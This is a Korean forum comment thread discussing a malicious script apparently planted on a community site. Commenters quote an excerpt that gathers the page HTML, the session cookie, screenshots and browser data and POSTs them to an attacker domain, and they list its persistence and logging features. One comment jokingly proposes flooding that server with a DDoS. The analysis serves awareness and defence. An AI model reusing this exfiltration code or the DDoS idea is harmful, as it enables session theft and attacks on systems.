상상도 못한 전개군요...

@펄스나인 저도 속으로만 생각했던 멘트였습니다.

한편으론 다행이네요 라는 한 문장.... ㅎ

ssl인증서 정보로 보아 3월 2일+90일로 되어있네용.
This website contacted 1 IPs in 1 countries across 1 domains to perform 2 HTTP transactions. The main IP is 104.21.50.90, located in and belongs to CLOUDFLARENET, US. The main domain is naver.ez.pe.
TLS certificate: Issued by WE1 on March 2nd 2025. Valid for: 3 months.
아래는 urlscan.io의 결과 스샷입니다.

혹시 궁금하신 분들이 접속하실지도 모르겠지만 curl로 헤더정보만 받아오시길. 본문은 받으심 아니됩니다.

코드중 아래 부분이 핵심인것으로 보여집니다.
// 데이터 수집 내용
ez_rD = {
dom: "전체 HTML",
cookie: "세션 ID",
screenshot: "Base64 이미지 데이터",
user-agent: "브라우저 정보",
payload: "//naver.ez.pe/" <= 악성 서버 주소
};
// 데이터 전송 함수
function ez_cb(t, e) {
var n = new XMLHttpRequest();
n.open("POST", "https://naver.ez.pe/callback", true); n.setRequestHeader("Content-Type", "text/plain");
n.send(JSON.stringify(t)); <= 수집된 데이터 전송
}

@펄스나인 ez_persist 함수로 브라우저 스토리지에 영구 저장하는 것이랑 window.onload시 사용자 클릭시 지속적 이벤트 로깅후 전송이랑 세션스토리지/로컬스토리지 수집 기능도 있네요. 현재 페이지 URL(location.toString()), 사용자IP, iframe 로딩 여부까지.

한마디로 환장파티.. 힘내세요. 꼭 잡히면 좋겠습니다.

나쁜 사람이 참 많네요.

힘내세요

에고 고생하셨습니다.

스크린샷은 뭔가요 바탕 화면 컴퓨터 데스크탑 그거까지 전체 화면 스크린샷 해 간다는 건가요?

@펄스나인

그럼 굳이 저 해킹 툴뿐만이 아니라도 인터넷에서 클릭 잘못하면 자기 화면 캡처 떠 가지고 상대방 에게 보내지는 건가요?

@울라프 이미지에 코드 심어 데이터 URL 스킴을 정상적인 URL로 가장해서 브라우저에 이미지 한장 띄우면 간단한 일이죠. 설명이니 이미지라 표현하는 거지 링크 누르는 즉시 실행가능한 방법도 많아요.

늘 조심조심.

와..무섭네요..

범인 잡았으면 좋겠네요

여러모로 속 시끄럽고 고생 많으십니다 ㅠㅠ

// 데이터 전송 함수
function ez_cb(t, e) {
var n = new XMLHttpRequest();
n.open("POST", "https://naver.ez.pe/callback", true); n.setRequestHeader("Content-Type", "text/plain");
n.send(JSON.stringify(t)); <= 수집된 데이터 전송
}

이곳으로 대량의 디도스 공격을 보내버리는 방법도 있겠군요 ㅎㅎ
더미 데이터들 쫙 넣어서 ㅎㅎ

@똥싼너구리

그누에서 제이쿼리 안 쓰고

클래식 아작스를 사용하는 소스는 얼마만에 보는지 모르겠네요.

너구리님 사랑합니다.

근데 이렇게 무모한 짓을 왜 했을까요? 이 이슈의 흐름을 보면 대체 왜? 라는 생각이 절로 듭니다.

그야말로 계엄 상황이네요....하루 빨리 마무리되어 평안을 되찾으셨으면 합니다......

최근에 올리신 글이 삭제되었군요.

모쪼록 정상화 되길 바래봅니다.